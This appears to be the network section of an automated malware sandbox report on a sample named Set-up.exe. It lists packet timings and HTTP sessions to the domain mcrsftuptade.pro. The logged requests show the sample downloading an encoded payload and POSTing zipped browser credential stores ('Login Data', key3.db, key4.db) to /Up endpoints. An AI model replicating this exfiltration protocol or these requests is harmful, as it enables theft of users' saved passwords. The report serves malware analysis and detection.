May 10, 2025 08:05:50.290013075 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290024996 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.290061951 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290082932 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290107965 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290127039 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290164948 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290183067 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290203094 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290221930 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290273905 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290293932 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290313005 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290379047 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290399075 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290415049 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290457964 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290477037 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290497065 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290532112 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290570021 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290590048 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290608883 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290628910 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290663958 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290699005 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290733099 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290752888 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290787935 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290807009 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.290827036 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.430722952 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.430743933 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.430772066 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.430855989 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.430883884 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.430905104 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.430952072 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431025028 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431045055 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431133032 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431723118 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431742907 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431763887 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431782961 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431801081 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431821108 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431839943 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431859016 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431878090 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431904078 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431922913 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431941986 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431960106 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.431978941 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432003975 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432023048 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432049990 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432069063 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432087898 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432106018 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432126045 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432145119 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432164907 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432183981 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432202101 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.432220936 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.852917910 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.853853941 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.853914976 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.872780085 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:51.013632059 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.382227898 CEST	49732	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:51.523806095 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.523911953 CEST	49732	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:51.524108887 CEST	49732	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:51.665191889 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.665287018 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.665335894 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.665380955 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.665410995 CEST	49732	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:51.806473017 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.971762896 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.971975088 CEST	80	49732	188.114.96.3	192.168.2.4
May 10, 2025 08:05:51.972069979 CEST	49732	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:51.989694118 CEST	49732	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:52.130812883 CEST	80	49732	188.114.96.3	192.168.2.4

HTTP Request Dependency Graph

mcrsftuptade.pro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49721	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:35.466841936 CEST	101	OUT	GET /ujs/f1575b64-8492-4e8b-b102-4d26e8c70371 HTTP/1.1 Host: mcrsftuptade.pro Connection: close
May 10, 2025 08:05:35.760193110 CEST	1358	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:35 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gGUm6Rde7pX%2FV2Zq6yzRWIK%2BL2%2FgdWzOgHE3sznBljNAYRNw6Yr3zUgJxXscaET75R5%2F%2BFQryI7KnDQ4S%2FSdolsmLfzwR%2B5ywdHRlLDVs%2B3dBZ77tPDvv%2FaXij8X3x3M%2BaKY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} speculation-rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 93d73ee929fd7867-PHX server-timing: cfL4;desc="?proto=TCP&rtt=141991&min_rtt=141991&rtt_var=70995&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=101&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 33 37 64 36 0d 0a 51 78 64 51 45 77 35 69 54 42 42 64 49 67 49 58 55 47 31 6f 57 67 38 51 48 79 4a 49 46 77 67 54 61 47 56 37 58 56 42 68 56 47 6c 75 64 6c 74 57 55 46 35 57 58 47 52 32 57 6b 4e 62 56 46 4a 75 62 31 56 4c 55 45 41 52 63 46 68 44 55 78 45 73 47 6b 45 51 43 77 55 56 46 55 4a 64 49 67 49 58 55 56 6c 47 56 6c 70 58 48 57 56 41 55 42 42 4d 47 45 49 56 58 42 45 36 47 6c 64 75 62 56 63 42 46 52 34 52 63 42 6f 50 45 47 31 6f 64 56 68 52 55 6d 78 6b 61 58 56 65 57 31 35 62 56 32 39 63 65 31 31 41 58 6c 6c 63 46 32 46 4c 55 32 52 70 5a 30 4a 52 53 78 64 32 55 6e 52 5a 46 78 34 54 51 42 73 4e 41 78 38 69 53 46 73 51 43 78 5a 61 58 30 42 63 62 56 30 62 56 30 6c 52 47 30 6f 65 53 43 4a 57 46 77 67 54 56 6d 56 72 55 51 73 69 46 42 64 43 45 77 34 62 61 32 35 2f 62 31 74 55 58 6d 31 6f 66 6c 68 64 56 47 78 64 61 57 35 79 58 45 74 59 58 31 59 67 65 6c 42 47 55 47 68 6c 59 6b 46 57 63 68 68 78 55 30 56 56 47 78 73 51 52 79 49 43 42 42 34 54 52 46 63 56 43 42 46 6a 55 45 64 64 58 46 45 58 55 6b 70 57 [TRUNCATED] Data Ascii: 37d6QxdQEw5iTBBdIgIXUG1oWg8QHyJIFwgTaGV7XVBhVGludltWUF5WXGR2WkNbVFJub1VLUEARcFhDUxEsGkEQCwUVFUJdIgIXUVlGVlpXHWVAUBBMGEIVXBE6GldubVcBFR4RcBoPEG1odVhRUmxkaXVeW15bV29ce11AXllcF2FLU2RpZ0JRSxd2UnRZFx4TQBsNAx8iSFsQCxZaX0BcbV0bV0lRG0oeSCJWFwgTVmVrUQsiFBdCEw4ba25/b1tUXm1oflhdVGxdaW5yXEtYX1YgelBGUGhlYkFWchhxU0VVGxsQRyICBB4TRFcVCBFjUEddXFEXUkpWIkUZSRNaGw0QUVxkVgoTGBtHEAkiZGl+XldYW25vR1daVV1RZWtxW3JXWFcRcFxBbm9VS1BAEXBYQ1MRLBpBEAsFFRVCXSICF1FZRlZaVx1lQFAQTBhCFVwROhpXbm1XARUeEXAaDxBtaHVYUVJsZGl1XlteW1dvXHtdQF5ZXBdnXXNMVFBdUWVrZ0BlShV2UEBYFR4RdBoPAx0WSVkQ
May 10, 2025 08:05:35.760236025 CEST	1358	IN	Data Raw: 43 53 4a 62 58 55 42 65 57 56 77 5a 56 30 74 6c 47 6b 67 65 53 68 5a 58 46 51 67 52 59 6d 52 70 55 51 6b 57 46 52 56 43 45 54 6f 61 61 57 35 39 57 31 70 57 58 6d 39 63 66 31 70 64 56 6c 68 63 61 32 35 77 61 45 70 61 58 31 51 55 65 6c 5a 63 55 6e Data Ascii: CSJbXUBeWVwZV0tlGkgeShZXFQgRYmRpUQkWFRVCEToaaW59W1pWXm9cf1pdVlhca25waEpaX1QUelZcUnJBaW5kR1xFEndhTFQQHRZNFQgCLBpFXBMOG1RaQW9VUBxUTFwVTx97GlsQCxZba25QMggXHhNEGw0Qb1x0WlFQWGVrd0NpWxViQ11PVlFKIHpHXUZHXEVub1VLUEARcFhDUxEsGkEQCwUVFUJdIgIXV0FdWhlXS2U
May 10, 2025 08:05:35.760301113 CEST	1358	IN	Data Raw: 6b 51 43 53 4a 61 61 57 35 53 42 77 34 56 48 68 46 77 47 67 38 51 62 57 68 31 57 46 46 53 62 47 52 70 58 6c 68 52 57 31 5a 64 62 31 78 74 52 6c 64 44 46 48 31 57 52 6c 49 69 46 42 64 47 45 77 34 49 47 78 42 44 62 68 6f 50 45 46 31 64 58 46 56 54 Data Ascii: kQCSJaaW5SBw4VHhFwGg8QbWh1WFFSbGRpXlhRW1Zdb1xtRldDFH1WRlIiFBdGEw4IGxBDbhoPEF1dXFVTXC5dTVcTSRVMEF0iAhdQbWhaBAoRLBpFEAsWZWt+XGNZWW5tZXBnEmB1SlNubWFKUkATRFlBUxMYG0MQCTEUF0JfFgMVQ1pwFlBKVBZEG0kRbhoPEFNoZVQBCiIUF0ITDhtrbn9vW1RebWh3XlFbcldYV21obERXQ
May 10, 2025 08:05:35.760338068 CEST	1358	IN	Data Raw: 57 42 55 65 45 58 51 61 44 77 4d 64 46 6b 6c 5a 45 41 6b 69 56 55 5a 58 56 56 4e 63 47 56 64 4c 5a 52 70 49 48 6b 6f 57 56 78 55 49 45 57 4a 6b 61 56 45 41 42 78 73 62 45 45 4d 69 41 68 64 75 62 57 5a 57 56 6c 39 61 62 6c 39 70 62 6e 35 45 58 45 Data Ascii: WBUeEXQaDwMdFklZEAkiVUZXVVNcGVdLZRpIHkoWVxUIEWJkaVEABxsbEEMiAhdubWZWVl9abl9pbn5EXEVTE1NXU0ZGVUtSbm9PSFBAUBRqQ1NRbF0XHhNAGw0DHyJIWxALFlZHV0FhFlBKVBZEG0kRbhoPEFNoZVQDACIUF0ITDhtrbmFvWVhbX1Nla31DZUpUEmJbX0NFUnJdaW5+RFxFUxNHYBVhRVVbW1cRLBpBEAsFFRV
May 10, 2025 08:05:35.760371923 CEST	1358	IN	Data Raw: 68 66 58 56 52 64 56 47 39 65 52 56 70 59 57 56 64 63 58 46 77 69 46 42 64 63 45 77 34 62 51 41 4d 52 66 52 52 4f 45 46 68 51 47 77 30 51 57 48 42 65 57 6b 4a 61 55 56 56 61 55 30 4e 6a 56 31 78 43 56 46 6c 66 55 6c 78 58 62 56 78 57 56 56 6c 61 Data Ascii: hfXVRdVG9eRVpYWVdcXFwiFBdcEw4bQAMRfRROEFhQGw0QWHBeWkJaUVVaU0NjV1xCVFlfUlxXbVxWVVlaXFBbXm4aGRBfFgMVRQEiRRlJE11dFQgRZlBXXVldVFZXX2JXXUJbVltbVlBuX1ZcUERXU11XakgXHhNaGw0QRDMaSB5KFlBTEAkiW1tfUFlYVlFbcEhbWVtTV15eV3BcWFlQVVJSWF1oWVAQHRZXFQgRdwAXTx1PG
May 10, 2025 08:05:35.760406017 CEST	1358	IN	Data Raw: 56 6c 78 66 57 46 70 52 57 47 35 58 55 6c 6c 57 56 31 31 52 57 6c 74 69 58 46 46 52 56 6c 78 59 56 46 70 59 5a 56 4a 51 55 30 45 57 46 52 56 63 45 54 6f 61 51 67 41 4a 46 6b 51 62 53 52 46 70 58 42 63 49 45 31 35 58 57 6c 42 63 59 6c 4a 59 57 6c Data Ascii: VlxfWFpRWG5XUllWV11RWltiXFFRVlxYVFpYZVJQU0EWFRVcEToaQgAJFkQbSRFpXBcIE15XWlBcYlJYWl1aXlhXVWFRWlhXWFNUWVpsUF1eWVdTFR4RbhoPEEYGABVPH3saXFYTDhtcXl1hXV9YVlZQVV9bbF1FWl9cSVpTXGZXXVVaRF5cVhEsGlsQCxZOBQIRfRROEFhQGw0QWmJWUFhVUlNaX1hwW1teQVFbXF5eblNaV15
May 10, 2025 08:05:35.760438919 CEST	1358	IN	Data Raw: 78 61 45 42 30 57 56 78 55 49 45 58 63 4d 41 42 42 4d 47 45 49 56 57 31 63 69 41 68 64 61 58 31 46 66 55 46 70 65 61 6c 39 58 58 30 46 66 55 31 31 55 57 32 56 65 57 31 64 66 55 6c 64 53 57 46 64 71 56 6c 42 64 56 68 59 56 46 56 77 52 4f 68 70 43 Data Ascii: xaEB0WVxUIEXcMABBMGEIVW1ciAhdaX1FfUFpeal9XX0FfU11UW2VeW1dfUldSWFdqVlBdVhYVFVwROhpCBgcWRBtJEWlcFwgTUklUU15pXV9VV1lUX1xbYltUVFxaXFFQWmpaWVtfUl8VHhFuGg8QRgAOFU8fexpcVhMOG1JVV2RcX1BbWFpdUVhpXV9QU1VXUl1Ra0hSXFxEUllCESwaWxALFk4DChF9FE4QWFAbDRBdaVBZV
May 10, 2025 08:05:35.760473013 CEST	1358	IN	Data Raw: 5a 6c 64 58 57 56 78 66 55 31 68 59 51 32 4e 51 52 56 52 57 56 31 52 66 56 46 6c 75 56 56 74 55 51 56 30 62 47 78 42 64 49 67 49 58 52 51 41 45 43 68 56 50 48 33 73 61 58 46 59 54 44 68 74 63 57 55 4e 73 56 46 35 64 56 56 35 63 57 31 31 61 5a 46 Data Ascii: ZldXWVxfU1hYQ2NQRVRWV1RfVFluVVtUQV0bGxBdIgIXRQAEChVPH3saXFYTDhtcWUNsVF5dVV5cW11aZFFQV1VbU1hVUmNeXUJQXVFYWhEsGlsQCxZOBgIHIkUZSRNdXRUIEW5ZW1hcUFJZWlhpVlxUX19eU1FUZ1tTXFlQWFZfXm1SFx4TWhsNEEQxCAAQTBhCFVtXIgIXXFpQXVBcUGRSUlhXV11TU15mX1ZfV1pVX1FQblF
May 10, 2025 08:05:35.760509014 CEST	1358	IN	Data Raw: 42 61 61 31 74 52 56 56 6c 64 58 56 68 54 56 32 51 61 47 52 42 66 46 67 4d 56 52 51 49 79 43 68 64 50 48 55 38 62 58 6c 59 52 4f 68 70 63 58 46 64 52 57 31 68 54 57 57 64 65 58 56 56 54 58 6b 6c 64 55 46 5a 77 53 46 64 5a 56 6c 70 59 56 56 52 58 Data Ascii: Baa1tRVVldXVhTV2QaGRBfFgMVRQIyChdPHU8bXlYROhpcXFdRW1hTWWdeXVVTXkldUFZwSFdZVlpYVVRXa1xUVBMYG1kQCSJPBAACFkQbSRFpXBcIE0RJVVtRZVRFUVtZUVVWWmhZXlRdX11UXVBjWlJQWkRWFR4RbhoPEEYFCwMQTixDF1tVFgMVWV9nUF1cWlFcVl5Qb1BfWFBaU11WUmVdUlVcUlRbQl8iFBdcEw4bQAMBN
May 10, 2025 08:05:35.760549068 CEST	1358	IN	Data Raw: 55 78 41 66 49 6c 59 58 43 42 4e 44 43 41 4d 44 45 58 30 55 54 68 42 59 55 42 73 4e 45 46 4a 6d 56 46 35 66 56 31 78 63 56 56 64 58 59 6c 4a 63 58 56 68 45 58 6c 74 56 55 47 4a 62 57 46 78 54 52 46 35 62 57 31 78 6d 47 68 6b 51 58 78 59 44 46 55 Data Ascii: UxAfIlYXCBNDCAMDEX0UThBYUBsNEFJmVF5fV1xcVVdXYlJcXVhEXltVUGJbWFxTRF5bW1xmGhkQXxYDFUUCNAoXTx1PG15WEToaUV9bWVVbUF9wW1dfX11WXFFQZFdUW1BcWlNTWWRSWlQTGBtZEAkiTwQGAhZEG0kRaVwXCBNYV1lcXmZbRVBaVV9UQlRkUVlRWlxUX1BYa1pFWVxdXRUeEW4aDxBGBQ0DEE4sQxdbVRYDFV1
May 10, 2025 08:05:35.760586977 CEST	1358	IN	Data Raw: 51 62 53 68 35 49 49 6c 46 52 45 41 73 57 57 6c 42 58 56 6d 39 63 52 56 52 51 55 31 4e 55 56 31 5a 6d 55 56 42 55 58 56 6c 64 55 55 4a 62 63 46 52 65 56 31 39 59 58 31 77 51 48 79 4a 57 46 77 67 54 51 77 67 42 41 78 46 39 46 45 34 51 57 46 41 62 Data Ascii: QbSh5IIlFREAsWWlBXVm9cRVRQU1NUV1ZmUVBUXVldUUJbcFReV19YX1wQHyJWFwgTQwgBAxF9FE4QWFAbDRBDZFlRWFpSUlBRUmZfV1FUXVRUQlFrWVlcV1pcR1BdaxoZEF8WAxVFAjYKF08dTxteVhE6GlpWU1JJUldaaFxeUFhcVFhCWGJSWF1eWl9WXF9iXlZeExgbWRAJIk8EBAIWRBtJEWlcFwgTUlFeXlJoXVxfVlhQU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49722	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:36.043103933 CEST	414	OUT	POST /Up HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 289 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 7d 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 56 00 00 00 b5 00 00 00 00 00 Data Ascii: PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06"}PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKV
May 10, 2025 08:05:36.343833923 CEST	705	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:36 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yAzCy2OrhufV1P%2FFqc6d%2Bh7FmKo3Hzfx0RYcmFH8mOnDw684ng%2FOV4qXaTiEkOt3Qs0UxmTp9qHOiy%2Bl78vN7k8bCkS6lQ7M%2BXh6lwinohHpvYjYsx182F1HQLXlEni4kLn7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73eecbfeab829-PHX server-timing: cfL4;desc="?proto=TCP&rtt=140960&min_rtt=140960&rtt_var=70480&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=414&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49725	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:38.882163048 CEST	13580	OUT	POST /Up/b HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 41649 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 c3 94 76 3c 00 a0 00 00 00 a0 00 00 11 00 00 00 62 2f 63 38 2f 30 2f 4c 6f 67 69 6e 20 44 61 74 61 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 08 00 01 01 00 40 20 20 00 00 00 02 00 00 00 14 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 7a 70 05 00 00 00 01 07 fb 00 00 00 00 0d 07 fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: PK\d!Rv<b/c8/0/Login DataSQLite format 3@ .zp [TRUNCATED]
May 10, 2025 08:05:39.023633957 CEST	13580	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.023741961 CEST	8148	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.023787022 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.023813009 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.165534019 CEST	1038	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.499228001 CEST	709	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:39 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oGji7rqV78MEhY87HjNt6s2gE%2FQ0cWYTbnXfH3xhN99ySaW8RWH0vuaHGAa6DcouU%2BLE6yt%2FXlnAzvTlBljRWvFD%2FNlHRfIyGji2ODm2ruFBF5eExvlzXezDhOq6H%2FM2EYqL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73efe79c1f00f-PHX server-timing: cfL4;desc="?proto=TCP&rtt=141374&min_rtt=141374&rtt_var=70687&sent=25&recv=33&lost=0&retrans=0&sent_bytes=0&recv_bytes=41778&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49726	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:39.740187883 CEST	13580	OUT	POST /Up/b HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 524940 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 